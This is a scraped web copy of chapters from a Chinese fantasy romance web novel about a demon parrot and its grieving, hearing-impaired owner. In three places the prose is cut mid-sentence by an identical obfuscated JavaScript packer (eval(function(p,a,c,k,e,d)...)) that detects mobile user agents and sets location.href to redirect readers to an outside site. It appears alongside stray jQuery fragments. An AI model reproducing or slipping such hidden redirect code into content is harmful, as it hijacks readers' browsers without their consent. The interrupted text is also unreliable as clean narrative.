老板看着那只鸟直直的冲着它的脸飞过来,他一时慌张的拿手去拦,但是那鸟的速度相当的快,等他反应过来的时候脸上已经出现了好几条血印子。 而且不仅如此,自己好不容易养大的鹦鹉笼子都被打开了,屋子里至少有一大半的鸟都跑了,那只罪魁祸鸟也跑了。 老板摸着自己的脸结果就摸了一手的血,他当即就哀嚎了一声。 “你这该死的玩意儿,我不会放过你的。” 说完之后立马拿出手机拨打了报警电话。 老板:“110吗?我要报警。” 二十分钟后,警察看着那个躺在不远处的地上奄奄一息的鹦鹉,再看看老板脸上一脸的伤痕,不可置信的开了口。 他说话的声音都是颤抖着,好像在极力的掩饰着什么。 “你是说你卖了一只鹦鹉,而它跑回来把你家这只昂贵的品种揍了,并且放飞了你养的鸟,还顺便揍了你一顿,是吗。” 老板捂着自己的脸龇牙咧嘴的说:“对,不,也不对,也可能就是回来揍我的,顺便揍了我的鸟。” 另外一个警察咳嗽了一声询问道:“是不是喝酒了。” 老板:“喝了。” 他刚说完才意识到警察的意思,于是又立马说:“我保证我没有喝多,更没有胡言乱语,是真的,都是真的。” 警察合上了自己手上带着的本子。 “你稍等一下,你这个情况有点特殊,我们需要去汇报一下。” 两位警察刚上警车然后迅速的就关上了门,下一秒就是一阵爆笑的笑声。 “哈哈哈哈,我知道不应该笑,但是真的很好笑,哈哈,不过,你相信吗?哈哈。” 另外一个警察也笑的上气不接下气。 “不信,哈哈,快快,笑够了还要去做笔录,一会儿要保持严肃,哈哈,这是我今年听过最好笑的一个笑话。” “不行了,太好笑了,哈哈。” 几分钟之后警察又从车上走了下来,两个人应该是已经做好了表情管理。 老板突然一张脸凑了过来:“怎么样呀,同志,你要去抓住它啊,否则谁来挽回我的损失啊。” 警察看着他那张突然放大的脸就想笑,最后还是忍住了。 “好了,我们也都汇报完了,走吧,跟我们回去做个笔录。” 裴一舟回来的时候就发现小鸟看起来非常的开心,站在桌子上不停的摇晃着脑袋。 他也没怎么在意,只是刚把手上买的东西放下来,门外就响起了敲门的声音。 他过去打开门一看,外面站的是两位警察。 其中一个先亮了自己的证件然后才开口说话。 “你好,先生,我们接到报警说…..。” 他刚说到一半又没忍住差点笑出来。 “不好意思,我们接到报警,说….说你家说你家的鹦鹉….哈哈,飞了5公里,跑到别人家把别人的鹦鹉打了一顿,还伤了人。” 裴一舟:“???” 4. 鸟的墙角 江与停听到了这边的动静,也从桌子上飞了过来,他算好了距离本来打算落在裴一舟肩膀上的,结果鸟没有算对,直接冲着门框就上去了。 眼看着马上就要悲剧了,裴一舟眼疾手快捞了它一把,但是自己那么快的速度撞到它的手上还是撞的眼冒金星。 老板看到了它也从警察身后挤了过来,看着他的眼神里几乎冒出了火光。 “是它,就是它,你个小畜生看我不打死你。” 江与停就躺在裴一舟的手上,整个脑子天旋地转,看着老板过来了还想爬起来接着战斗,但是一站起来又自动的倒了下去。 “别动手。” 警察拦了一下老板,然后才看着这只罪魁祸鸟,那身子就手那么大,除了长的有点丑,怎么看也不像有杀伤力的样子,而且看样子还有些蠢蠢的。 要不谁家鸟直直的向着门框上撞啊。 警察眼里满是疑惑的表情。 “你确定是它吗?这怎么看起来是个傻的啊。” “是他,他可会演戏了,就是装的。” 老板看到他就觉得自己的脸火辣辣的疼,上手就又要去抓它,结果裴一舟带着它往后一退挡住了老板的身体。 老板刚想说话突然一抬头看到了裴一舟的眼睛,这一看就被吓了一跳。 这少年虽然年纪不大,但是跟同龄人看着又好像不太一样,那双浅绿色的眸子低沉着,眉宇之间尽显阴鸷之色。 老板退了几步退回到了警察的身后,说话声音也没有那么大了。 他捂着自己的脸说:“是它,就是它,长这么丑我不会认错的。” 江与停好不容易才清醒过来,只不过一睁眼就看到了两个警察,看到那俩警察他更加的头疼了。 倒不是冲着人,实在是他很讨厌这身制服,虽然妖管局的制服要比警服帅的多,但是依然可以看到他们的影子。 他最讨厌的就是妖管局的人,那些人都是杀妖不眨眼的。 只是他万万没有想到竟然还把警察招上门来了,不过幸好招来的不是妖管局的人,他好像给裴一舟招了麻烦上身了,好像他们人类也不喜欢警察。 江与停觉得自己还是躺着吧,反正老板也没有证据证明是它,他是宠物,只要没有证据就不会赖到裴一舟的身上,于是直接眼睛一闭,腿一蹬,一副马上就要死的样子。 警察:“先生,我们需要调查一下您家这只鹦鹉的情况,请您配合。” 裴一舟的神色恢复了正常,他看了看他们然后指了指自己的耳朵进了屋。 两位警察面面相觑了一下。 “好可惜,长这么帅怎么是个听障人士。” 很快裴一舟又回来了,唯一跟原先不同的就是耳朵上戴了一个白色的助听器。 他彬彬有礼的道:“不好意思,你们刚才说什么?” 警察又重复了一遍刚刚的说辞:“你家这只鹦鹉飞了五公里把人老板的鹦鹉打了,还把屋里的鸟都放走了,当然还顺便把老板也打伤了,所以我们过来了解一下情况,如果是你家这只鹦鹉造成的话你需要赔偿对方的损失。” 虽然是这样说,但是警察看着他这居住环境,就算是也大概率不会有任何的赔偿了。 裴一舟瞅了一眼身后的老板,那脸很明显刚被包扎过,他此时已经被包裹成一个粽子了,再看看自己怀里托着的这个歪着脑袋的鸟,突然低声笑了。 他摸了摸手上的鸟,说:“警官,这位老板莫不是喝多了,他这样子可以打人吗?放出去我都怕它被人欺负了。” 警察也认同的点了点头。 老板一看他这态度就急了。 “不是它挠的难不成这是我自己摔的啊,我告诉你要不今天你就赔我钱,要不把这只鹦鹉还给我,看我不弄死它,卖了这么多年的鸟也是被鸟啄瞎了眼了。” 他话音刚落,周遭的气温像是降了几个度一样,裴一舟眼睛盯着老板看,手上时不时的还摸着手指上的那枚戒指。 “那我要是两个都不选呢?” 老板恶狠狠的盯着他看,一个乳臭未干的臭小子而已,他怎么会怕他,而且还是个聋子。 “你一个聋子而已,你要是两个都不选就别怪我了。” 裴一舟还没有说话,江与停直接就整个炸了,差点一个起来又对着他的脸来几爪子。 裴一舟按着他的小脑袋没让他动,他轻勾了一下唇角,眼尾慢慢的扬了起来,只是那笑意并不达眼底,以至于那张漂亮的脸看起来有些阴郁。 当然江与停被按着脑袋什么都看不见。 “警官,他威胁我。” 警察顿时不高兴的拧了拧眉:“你问还是我问?” 这俩人的气质明眼人一眼就能看出来谁是好人谁是流氓了。 老板讪讪笑了笑。 “您问,您问。” 警察:“警告你一次,再有这样的言辞就给你拷回去关禁闭。” 老板捂着自己的脸点着头: “我知道,我知道,我就是吓吓他,您问您问。” 警察:“你这鹦鹉今天一天都在家吗?” 裴一舟:“在家。” 老板一听,又炸了:“你胡说,绝对不可能,它在家是哪个来抓的我。” 裴一舟扭头望着他:“你有证据证明吗?只凭你空口说,莫不是你喝酒喝出幻觉来了吧,否则我不知道你做为一个人如果真被鹦鹉抓成这样,就真该去看看自己的脑子了,而不是来这里。” 老板也觉得自己是有点丢人:“说不定它成精了是只妖呢?” 裴一舟眯了眯眼睛,那只瑞凤眼看起来更加的狭长。 “你见过妖吗?是只妖的话估计你就已经没命在这里说话了,而且我很好奇你到底是怎么凭借着一面之缘找到我家的。” 老板一下子就不说话了,他是真的没有办法说,所以一下子就磕磕巴巴了起来。 “…我那个…我。” 江与停也突然想起了什么,它仔细的琢磨了一下,然后忽然想了起来,他抬起脚踢了踢裴一舟的胳膊。 裴一舟也知道了它的意思,他的手轻轻摸了摸江与停的右脚,在他的脚腕上有一个小小的脚环。 通常情况下脚环是为了防止鸟丢失在它脚上绑的定位器,只不过正常买卖出去之后定位器也就摘掉了。 裴一舟:“警官,我想知道他通过定位器私自查找我家是不是也是犯法的呢?我怎么知道他趁着我不在家会不会非法进入。” 老板一看立马急了。 “就你这破房子我非法进入干什么。” 裴一舟斜眸看了他一眼。 “不是我,也可以是别人家,不是吗,警官。” 警察一看没有办法只好把几个人都带走了。 “先生你给我走一趟吧。” 裴一舟录完笔录出来的时候已经到了晚上10点了,通常这个时候大部分人都已经下班了,谁知道他去接鹦鹉的时候才发现还有好些人没有下班。 那些警察围着一圈不知道在看什么,他走过去一看才看到被他们围在正中间的那个人正是他家的鹦鹉。 女警察拿着手机拍摄着视频。 桌子上放着几根彩色笔,小鸟就在中间呆着,女警察手里拿着几块小饼干。 “小鸟,哪个是红色的笔啊,答对了姐姐给你零食吃。” 小鸟就伸出自己的翅膀指了指桌子上的那根红色的笔。 一时间满屋子的哇哦声。 女警察摸了摸它的小脑袋,并且给它投喂了个零食。 “哇塞,宝宝真棒,宝宝真的好聪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288234|198471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明啊,你跟着姐姐回家好不好啊,丑是丑了点,不过姐姐不介意啊。” 结果她的话音刚落就有另外一道声音进来了。 “哎哎,人家主人出来了。” 女警察有些尴尬的放下了鹦鹉,然后恋恋不舍的把鹦鹉还给了他。 “你好,我可以把刚才拍的视频发到网上吗?” 通常这个要求是没有人会拒绝的,但是偏偏就有这个意外。 裴一舟淡淡的拒绝了。 “不可以。” 警察一时都没有反应过来。 “啊?” 江与停看她有些失落的样子,直接飞到了她的手上,然后比划着。 他伸出翅膀指了指自己又指了指女警察的手机,接着点了点头。 女警察迟疑的说:“你的意思是我可以发?” 江与停又点了点头表示理解的非常正确,这个小姐姐给他吃的,那一定也是好人。 他发现人类真好哄,给摸摸脑袋就有好吃的了。 警官给这动作弄懵了:“那个,这是发可以还是不可以啊?” 裴一舟无奈的看了他家鹦鹉一眼。 “走吧,回家。” 这意思也很明显了,听鸟的就行。 江与停一看他要走,立刻就飞到了他的肩膀上站着,并且在出门的时候想起来了什么。 他转过身冲着里面的小姐姐招了招翅膀。 女警:“是我看错了吗?他在跟我拜拜。” 裴一舟本来是打算坐公交的,但是对方一看他带着个鸟,就拒绝了。 “不好意思,先生,我们不可以带宠物。” 江与停冲着司机叫个不停。 “啾啾啾。” [谁是宠物,谁是宠物,,我是你祖宗。] 两个人没有办法只能溜溜哒哒的回家,结果刚走没几步,江与停就闻到了一股香味,它冲着香味看过去然后就看到了不远处的一个摊位。 那家一看就很好吃,还有不找人在排队,裴一舟很快就发现不对劲了,他家那只鸟的脑袋一直冲着一个方向,那模样都快落枕了,他发现不了的话才是奇怪了。 “怎么了?你是想吃这个吗?” 江与停使劲儿的点着头。 “啾啾。” 【人,你可以给我买这个吗。】 最后裴一舟还是带着他站在了队伍里。 几分钟之后,街边就有了一道亮丽的风景。 一个非常帅气的少年坐在街边的小凳子上,在他的腿上站着一只鹦鹉,鹦鹉正在慢慢的啃他手里的烤肠。 江与停吃的眼睛都舒服的眯了起来。 [好吃,好吃。] 吃着吃着又突然想起了什么。 “啾啾。” [你不吃吗?] 裴一舟没有明白他是什么意思,江与停又伸出翅膀指了指烤肠又指了指他。 裴一舟也算是明白了他的思路了。 “我不吃肉,你吃吧。” 江与停只好低头自己吃东西,他不明白,肉那么好吃,竟然有人不喜欢吃肉。 江与停的心情本来挺好的,黑心老板把钱退还给他了,他还有烤肠吃,只不过烤肠刚吃进去一半,一个女孩儿就走了过来。 其实他老早就看到她了,他以为她在看她,没想到是在看裴一舟。 她拿着手机有些害羞的问道:“你好,帅哥,请问可以加个微信吗?” 江与停瞬间觉得自己嘴里的东西都不香了。 竟然有人当着他的面搭讪他,怎么是想抢他的伺主吗,绝对不可以。 裴一舟还在想怎么拒绝,结果鹦鹉就直接就飞了起来,然后啾啾啾的在他头顶上叫个不停。 救命啊,有人要挖鸟墙角了。 5. 鸟喝酒了 江与停张开着翅膀就飞了起来,整只鸟就在那姑娘头上盘旋,这要不是个姑娘江与停的嘴巴就要落在她的头上了。 “啾啾啾。” 【走开,走开。】 小姑娘看这动静生怕自己被鸟啄了,被吓的后退了好几步,那鸟也不伤害她就是在她头上一会儿俯冲一会儿飞起,嘴巴里叽叽喳喳的叫个不停,那模样看起来非常的气愤。 而且更为奇怪的是她一靠近过去鸟就飞过来,她一远离对方就在原地盘旋,好像是很不喜欢她接近他的主人一样。 “啊,啊,这怎么回事啊。” 江与停:“啾啾。” 【怎么回事?你离我的伺住远远的就没事了,家里只可以有我一个宠物。】 裴一舟看着眼前这一幕叹了口气,他冲着江与停招了招手,小鸟立马就飞了回来,乖乖的站在了他的肩头。 江与停站在那里,但是还是高高的挺拔着胸膛,眼睛直勾勾的盯着小姑娘看,那模样就像一个护崽子的老母鸡。 裴一舟:“不好意思,我家鹦鹉怕生,走了,回家。” 说完之后一人一鸟就一起离开了。 小姑娘还没反应过来人就已经走了,而站在男人肩头的那只鸟突然扭着脑袋狠狠的瞪了她一眼,等再扭过头去的时候又亲昵的蹭了蹭男人的脖子,一副极致的双标鸟的样子。 江与停以为他们会走回去的,没想到还没走多远一辆车就在他们面前停了下来。 前面的司机下来打开了车门,他跟着裴一舟一起坐了进去。 上车之后两个人也没有怎么说话,裴一舟直接把助听器摘了就那么靠在背椅上闭上了眼睛。 江与停看着这个大家伙新奇极了,比警察的那辆车好多了,而且还跑的更快。 裴一舟在睡觉,他就在里面左边飞到右边,右边飞到左边,来回的看,不错真不错,最后还是觉得后面的视野不好直接飞到了司机靠着的座椅的最顶端。 这里的视野好极了,简直是个完美的位置,当然他丝毫没有感觉到这个位置很危险。 比如说司机等红灯的时候一脚刹车,江与停就直接从上面掉了下来。 裴一舟伸手接住他。 “老实点,别闹。” 江与停这次知道教训了,乖乖的窝在他的手心。 司机透过车内的镜子看着身后的这一人一鸟直接惊呆了。 他家那位少爷竟然还会养宠物,还是一只看起来丑丑的鸟,这算是恋丑癖吗。 他们回到家的时候已经到了晚上十一点,裴一舟把小鸟放在了桌子上然后才去拆自己白天买的东西。 江与停就站在他旁边眼巴巴的瞅着,里面有一些吃的还有用的。 裴一舟:“这些都是给你买的,店员说小鸟都喜欢这些东西,你应该也会喜欢吧。” 江与停一看,就是一些什么球啊,绳啊的,确实鸟会喜欢一些,不过他不喜欢。 他挪了挪脚步,头一歪靠在了裴一舟的大腿上,他发现自己蹭人的水准是越来越高了。 裴一舟从里面又拿出一个小窝,把小窝上还铺上了小垫子。 “晚上你就在这里睡觉,应该不会冷吧。” 说完之后还拿出了一袋新的鸟粮,给它倒好了一盆,准备好了水然后就直接进卧室了。 江与停本来想要跟着他一起去的,结果刚走到门口门就关上了。 他用嘴巴敲了敲门,但是想起来人好像听不见所以就作罢了。 他回到桌子上看了看桌子上的鸟粮,转身从那一堆东西里挑了挑,挑出一个自己以前吃过的薯片。 他才不要吃什么鸟粮,还是这个最好吃。 半夜,裴一舟从床上突然惊醒了过来。 屋里开着灯,他听不见任何的声音,整个世界都是安静的,但是他可以清楚的感觉到自己胸膛里传来的震动。 他坐在床头抬起手摸了摸自己跳动的心脏,手也不由自主的颤抖了起来,又是噩梦。 虽然每次都会做噩梦,但是醒来的那一刻他也会很开心,因为又一次见到了他。 他摸了摸自己的额头,果不其然又出了一头的汗。 半夜3点,裴一舟起身走到了阳台上,外面月亮高悬,小区里没有什么人,但是树荫下有几只流浪猫在玩耍。 对于人来说他们是流浪猫,但是对于猫来说他们从来都不是流浪猫。 他盯着那几只猫看了半天,直到他们玩够之后开心的跑远。 他从抽屉里拿出一根烟点了起来,坐在阳台边发了很长时间的呆,直到自己的情绪稳定的差不多了裴一舟才开门走了出来,结果刚一打开门就发现自己门口还有一个不速之客。 门口的地上有一个小窝,小窝里放着一个小垫子,小垫子上还睡着一只小鸟。 小鸟看起来有点冷,把自己团城了一团,看起来可怜巴巴的。 裴一舟俯身把鸟抱了起来。 “为什么要在这里睡。” 江与停就是故意的,他就是让他心疼好找机会可以登堂入室。 宠物不是都要跟主人一起睡的吗?他要表现的像只宠物。 “啾啾。” 【冷】 他可怜兮兮的在裴一舟的手上叫了几声,还用脑袋在他的手心打圈,那小模样看起来更可怜了。 裴一舟把它放到了桌子上,然后就去了卫生间,镜子里倒映着的是一个冷白的脸。 他的头发被冷汗印湿,眼睛里也有些发红,嘴巴更是没有任何的血色,他看起来倒越来越不像一个人了。 他摸了摸自己手上的那枚戒指,然后打开水龙头狠狠的洗了几把脸,那冰冷的触感传了过来,眼里的血色才慢慢的褪了下去。 几分钟后,裴一舟才打开门走了出来,他坐在沙发上低头去抽屉里翻出一瓶药,结果一打开倒了几下没倒出来,这才发现药好像被自己吃完了。 他看了看外面的天,远处的天空已经慢慢的开始有了一丝光亮。 “算了,就这么到天亮吧,明天再去医生那拿点药,不过估计又要被念叨了。” 江与停看着他从里面出来,他也不知道为什么对方就是睡了一觉怎么看起来突然有点不一样了。 他从桌子上飞了下来飞到了他的身旁,然后用自己的头去蹭了蹭裴一舟的手,可是那人不知道在想什么竟然一点都没有反应。 江与停还不信了,他难道表现的不像是宠物吗?为什么还不来摸我,于是就那么强硬的把自己的脑袋挤进了他的手心。 “啾啾啾。” 【你怎么了,不开心吗,给你摸摸啊,摸摸就开心了。】 人类好像喜欢摸毛茸茸的东西,像是小猫小狗什么的,他也是毛茸茸的,人应该也会喜欢。 裴一舟本来是不想说话的,谁知道有一个东西非要往他的手心挤,这让他不得不都头看着手下的这只小东西。 它抬着头看着他,小眼睛一眨一眨的好像想跟他说什么话。 他觉得自己可能又产生幻觉了,否则怎么可能会感觉小鸟要跟他说话。 只是手下的触感那么柔软,小鸟的眼神就那么的真诚,让他的心也难得的有了一丝安稳。 他的手一点一点的摸着他的脑袋,没有说任何的话就那么在沙发上坐到了天亮。 江与停后来熬不住了直接就睡过去了,他是不知道一个人类啊怎么这么能熬啊,这不会是在熬它吧。 人都说熬鹰,这熬鸟的还是第一次听说。 等他再醒来的时候就是被一阵开门的声音吵醒的。 江与停眼睛都没睁开就飞了过去。 “啾啾。” 【你要出门吗,我也要去。】 当然裴一舟也没有带他去把鸟关了回去。 江与停站在窗户边看着裴一舟坐车离开。 医院里。 赵铭一脸惆怅的望向他,看了一眼又一眼。 “我说少爷啊,怎么这么快就吃完了,那是药啊,可不能当饭吃啊,吃多了会产生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288235|198471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 免疫的啊。” 裴一舟有些头疼的捏了捏额头:“嗯,我知道,快开药吧。” 赵铭带着情绪在电脑上卡卡的敲着,那样子活像在敲裴一舟的脑壳。 “我知道你在想什么,你失眠睡不着,但是吃完药才可以睡觉,这样就可以看见他了,但是睡觉又会做噩梦,你这跟我玩循环呢?5年了,真的可以放下了。” 闻言,裴一舟突然抬头看了他一眼,那双浅色的瞳孔里倒影的是无尽的黑。 “如果有一天我死的话。” 赵铭没好气的给他开着药。 “你说你原先经常会产生幻觉,吃完药最近好点了吗?” 裴一舟:“嗯。” 赵铭摇了摇头拆穿了他的谎言:“我看你是胡说,我给你开的药你早该吃完了,你是不又没吃药,少爷啊,不可以这样,很危险的,下一步你就要分不清现实还是幻觉了。” 裴一舟:“是吗?那样的话我觉得也很好。” 赵铭快被气死了。 “你清醒一点啊,假的就是假的,你那么聪明怎么就不知道这个道理,算了,我也懒得劝你了,对了,我上次给你说的最好养个宠物你养了吗。” 他本来就只是随口一说,他知道他不喜欢有任何东西跟他待在一起,他有时候都怀疑他耳朵在执行任务的时候受伤了是不也是故意的。 裴一舟突然想起了自己家里的那只鹦鹉,就连他自己都有些不可思议。 “养了。” 赵铭写医嘱的笔顿了一下,他有些震惊的抬起了头,仿佛终于在一片黑暗中发现了胜利的曙光。 “这就对了,哪有人自己一个人独来独往得,你是人,人就是群居动物,养了好,养了慢慢就好了,对了,养了个什么啊,猫还是狗,我给你说我家里养了只猫,下次咱俩交流一下养宠心得。” 裴一舟抬了抬眼皮。 “都不是,是一只鸟。” 赵铭写字的手都有点抖,他是着实没有想到会养只鸟。 “啊?都好都好,不过我还以为你会养个猫什么的,不过我没有养过鸟就没有经验给你传授了,有时间带来给我看看,对了他叫什么名字。” 裴一舟顿时就愣了一下。 赵铭:“怎么?还没起名字?那你该抓紧起个名字了,起了名字才是你的鸟啊。” 裴一舟走了之后,江与停自己一只鸟在家无聊的紧就四处翻腾了一下,结果还真让他找到好东西了。 他在厨房的最顶端发现了一个好东西,他原先以为是饮料,结果靠近了才发现好像是酒。 他以前也很喜欢喝酒,但是好像还从来没有见过这样的。 只不过他有些意外,裴一舟看不出来也不像是会喝酒的人啊,不行,这不是好习惯,得改。 江与停觉得为了他好,自己要把酒处理掉,比如替他喝了。 今天就偷喝一点一点,虽然鸟不可以喝酒,但是他是可以的。 他抱着那瓶酒怎么都打不开,这时候他是无比的想念自己的手,最后用了九牛二虎之力终于把酒打开了。 刚打开那酒香味顿时就传了过来,江与停的馋虫就那么被勾了起来,他把想把酒倒在碗里,但是瓶子太沉他弄不懂,直接对着嘴喝更不可能了,在屋子里寻摸了半天终于给他找到跟吸管。 他把吸管插进去一口一口的喝了起来。 那酒不仅闻着香喝着也非常的不错,江与停顿时就爱上了,好喝好喝,好好喝。 但是这酒太好喝了,他本来就是尝一点的,一不小心江与停直接就喝多了。 等裴一舟到家的时候就发现一股非常大的酒味。 走进去之后他才发现地上躺着一个酒瓶子,而自己家的那只鹦鹉正脑袋枕着酒瓶子睡觉,看到他回来还非要起来迎接他,结果走了几步就发现了路都走不直。 “”啾啾。 【你回来了,哎,奇怪,怎么地面在慌啊。】 谁知道下一秒吧哒一声直接就晕了过去。 6. 鸟的名字 宠物医院。 前台的工作人员在登记着宠物的个人信息。 “叫什么名字。” “裴一舟。” 工作人员一听这名字就知道这人又误会了,哪有宠物取个人名的。 她推了推眼镜指了指他怀里的鹦鹉解释道:“我说的是这只鹦鹉叫什么名字,不是鹦鹉的主人。” 裴一舟愣了一下,他还没给它起过名字,不过现在应该也不是起名字的时候。 “那,随便吧。” 工作人员奇怪的看了它一眼然后又机械的低头继续录系统。 宠物医院的人很多,但是因为他这情况一看就比较严重,所以录完信息后就带着他俩去找医生,医生给鹦鹉抽血检查了一番,然后就放进了保温仓。 穿白大褂的医生给鹦鹉输上了液,一边输一边还在教育人。 “下次记住了不要给鹦鹉喂酒,这怎么还醉酒了,小鸟喝酒很容易伤肝的,这次是你幸运,没什么大事,下次就不一定了。” 裴一舟点了点头也没有解释。 “好,知道了。” 白大褂医生看了他一眼,眼前的人也是一个年纪不大的少年,也不像是会虐待动物的人,他觉得自己的口气可能重了点,于是语气又软了起来。 “不过你也不用担心,它应该是没喝多少,身体没什么问题,我这就是给它输点营养液,他这抽血好多不合格的,还营养不良,这是以前给虐待过吗?” 裴一舟不太理解,56度的酒,一瓶。 喝的不多?难道一瓶酒还不算多吗? 裴一舟也没说什么,他看着在保温箱里输液的小鸟,可能是为了防治它乱动,翅膀被固定着,输液针就插在它的翅膀上。 小鹦鹉就那么躺在里面,小小的一只团在一起,看起来又可怜又好笑。 医生还依旧在那喋喋不休的说着话。 “这是新养的吗,看起来也就俩三月吧,不过你买它花了多少钱啊,长得真……。” 他本来是想夸一下的,对于其他的小宠物他都是好可爱啊,好好看啊,最不济也是好乖啊,可是奈何现在他怎么都夸不出口,好半天后才把后半句接了下来。 “长得真别致,容易认,保证丢不了。” 裴一舟说话还是那么淡淡的。 “嗯,刚养没多久。” 医生看他也不怎么爱说话,索性自己也不说了,输完液之后就交代了几句离开了。 裴一舟就在那里陪着它,也不知道它在梦里梦到了什么还嗦了嗦嘴巴,看样子应该是梦到了什么好吃的吧。 他现在不得不想他是不是英应该把他送走了,自己经常不在家,他一个人应该会无聊吧。 没多久,江与停就醒了过来,它慢慢的睁开眼,先是看到了自己在一个白色的东西里面,然后才发现自己的翅膀好像也被绑住了,动不了。 他以为自己这是不是又被人抓走了。 “啾啾啾。” 【这是哪里?救命啊,裴一舟,裴一舟。】 它很不喜欢这样的感觉,身体本能的就疯狂的挣扎了起来,谁知道刚一挣扎一只手就敲在了外面的箱子上。 江与停一眼就看到了外面的裴一舟。 “啾啾啾。” 【裴一舟你怎么在外面呀,里面好热我想出去】 裴一舟好想看懂了它的意思,他隔着玻璃摸了摸它的小脑袋。 “别怕,给你输的营养液,一会儿就好。” 江与停虽然不知道那是什么东西,但是它相信他不会害它。 “啾啾。” 【好吧,那我忍耐一下。】 就这时候也不知道是谁在吃东西,那味道直接穿过保温仓的缝隙传到了江与停的鼻腔里。 他一早起来就在那喝酒都还没吃饭,闻到那味道瞬间就觉得饿了。 可是小鸟没有钱,他看了看裴一舟,但是因为自己动不了,眼睛也只能直勾勾的盯着吃的看,这样他应该就理解他的意思了。 裴一舟看着它在里面突然看向一边眼睛都直了。 小鸟有情绪了就是那么明显,他也是不知道一只鸟怎么会有那么多表情的。 “怎么了?饿了。” 江与停瞬间就点了点头,不过它现在还有点晕,酒劲还没有过去,于是头刚点到一半吧唧倒在那里又睡了。 裴一舟无奈的扶了一下额。 宠物医院里人很多,大部分都是猫猫狗狗,医生也非常的忙,他过来看了一眼说:“你可以出去先买点东西吃,不用在这守着,我估计你还没有吃饭吧,还得1小时呢。” 医生说完之后就走了,裴一舟看着保温箱里睡着的小鸟,估计他醒来就会想吃东西了,这里的鸟粮它应该不会喜欢,家里的鸟粮换了好几种,但是他好像都不喜欢吃,只喜欢吃人吃的东西。 大中午的外面太阳很大,街上的人不多,对面就是一个大学,站在外面隐约可以听到里面的读书声。 他沿着小街往前走,走着走着,突然听到一声叫卖的声音。 “奶油小馒头,刚出锅的奶油小馒头咯,大家过来看看啊。” 裴一舟看着那个卖馒头的老板娘停了下来。 老板娘好像也一眼就看到了他,她先是惊讶了一下,然后才笑了起来,像是见到了什么许久未见的朋友。 “呀,是你呀,小伙子,有段时间没见了吧,这一晃都好几年了,你看你倒是越来越帅气了,看看我这都当妈了。” 裴一舟看着面前冒着热气的馒头,馒头被捏成了各式各样的小动物模样,白白胖胖的很是好看。 在他耳边瞬间便出现了几道声音,那声音越来越清晰。 “裴一舟,我想吃旺西铺的馒头,你回来帮我带点。” “我求求你了,就再吃一个,真的就一个。” “裴一舟,你觉得我可爱还是这只小兔子可爱,想好了再回答。” “裴一舟,我真的好喜欢你。” 老板娘看着他的脸色有些不对。 “你怎么了?” 老板娘的声音把他从眼前的幻境中叫了回来。 他苦涩的笑了笑。 “ 没什么,我们之前一直在外面,刚回来没多久。” 老板娘:“啊,这样啊,我谁呢好久没见你了,对了,以前经常跟你来的那个男孩子呢,那孩子可喜欢吃我家的馒头了,而且那小嘴老甜了,每次过来都是姐姐姐姐的叫,现在估计得叫我阿姨了。” 裴一舟敛了敛眼睛:“他…..他在家睡着了,我来给他买。” 老板娘:“他是你弟弟吧,你这个当哥的也太宠着了,怎么,还是老规矩吗。” 裴一舟:“嗯。” 买完东西后裴一舟在外面坐了许久之后才回去,回来之后发现笼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288236|198471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子里的鸟不见了。 他找到医生问道:“医生,在这儿的那只鹦鹉呢?” 医生看了他一眼,手指指向一个方向,裴一舟向着他手指的方向看过去果然一眼就看到了他家那只鹦鹉。 看样子已经满血复活了,它站在凳子上,鸟爪子上还抓着一根逗猫棒在逗笼子里的一只小猫玩,那只猫就随着它的动作抓着玩。 这幅画面实在有些难以理解。 裴一舟看着都觉得自己可能出现幻觉了。 周围好几个人在围着它拍视频,他也不知道为什么这只鸟总是会做出一些奇怪的事情来。 突然一个抱着猫的小姑娘说: “哎,它是不是网上很火的那只小鸟啊。” 另外一个也一下子就知道他在说什么了。 “好像是哎,我找找那个视频。” 她翻着手机很快就翻了出来,然后拿着手机跟面前的小鹦鹉对比了起来。 “没错,长得这么个性的小鸟也没有几个了。” 江与停也很好奇,它伸着脑袋看他们手里的那个手机。 手机里的画面就是它在警局里认东西的画面。 江与停昂起头拍了拍自己的胸膛。 “啾啾。” 【没错,就是我。】 裴一舟竟然在一只鸟身上看到了神气的模样。 几个小姑娘被它逗的呵呵的笑。 裴一舟:“走了。” 江与停听见声音就转过了头。 “啾啾。” 【裴一舟。你回来了。】 它本来是想飞过去的,但是自己的肩膀有点疼,虽然没有什么大碍,但是它觉得现在自己应该看起来更惨一些,毕竟自己喝了那么多酒。 它一拐一拐的来到了桌子边。 “啾啾。” 【裴一舟,我飞不了了】 裴一舟叹了一口气把它抱了起来。 “怎么了,翅膀疼了。” 江与停点了点头,然后便闻到了什么味道,它顺着那味道看过去,一眼就看到了裴一舟手上的小馒头。 